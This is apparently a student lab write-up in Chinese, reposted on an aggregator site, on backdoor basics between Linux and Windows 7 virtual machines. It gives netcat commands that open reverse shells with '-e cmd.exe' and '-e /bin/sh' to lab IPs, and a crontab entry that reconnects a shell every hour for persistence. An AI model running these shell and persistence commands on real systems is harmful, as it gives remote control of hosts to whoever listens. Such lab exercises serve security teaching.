其他分享
首页 > 其他分享> > Exp2

Exp2

作者:互联网

后门原理与实践

准备工作

1. 查看Linux和Win的IP地址,ping通
2.下载ncat并安装到win7主机

使用netcat获取主机操作Shell,cron启动

Linux获得win7 Shell

nc -l -p 8125
ncat.exe -e cmd.exe 192.168.72.130 8125     //-e filename:连接后执行该文件

Win7获得Linux Shell

ncat.exe -l -p 5218  //-l:设置监听模式,-p:端口

ncat 192.168.72.116 5218 -e /bin/sh

Cron启动

什么是crontab

cron是linux下的定时执行工具。crontab是使用cron的命令,该命令从标准输入设备读取指令,并将其存放于“crontab”文件中,以供之后读取和执行。

简单理解了一下就是写一个程序,可以规定哪年哪月哪日什么时间、或者一个周期(年、月、日、周、小时)内的具体时间执行一个命令。由于cron是每分钟运行一次,所以可以具体到分钟。指令格式如下:

crontab指令基本格式 : 

*  *  *  *  *  command 

分 时 日 月 周 命令 

第1列表示分钟1~59 每分钟用*或者 */1表示 

第2列表示小时1~23(0表示0点) 

第3列表示日期1~31 

第4列表示月份1~12 

第5列标识号星期0~6(0表示星期天) 

第6列要运行的命令 
实验步骤
ncat.exe -l -p 5218
crontab -e     // crontab指令增加一条定时任务,"-e"表示编辑
no crontab for root - using an empty one

Select an editor.  To change later, run 'select-editor'.
  1. /usr/bin/vim.gtk
  2. /bin/nano        <---- easiest
  3. /usr/bin/vim.basic
  4. /usr/bin/mcedit
  5. /usr/bin/vim.tiny

Choose 1-5 [2]: 3 //选择编辑器3

55 * * * * nc 192.168.72.116 5218 -e/bin/sh
//当时是51分,设置为55分便于观察结果


问题与解决

标签:Exp2,Linux,win7,crontab,5218,linux,ncat
来源: https://www.cnblogs.com/zicerain/p/10580769.html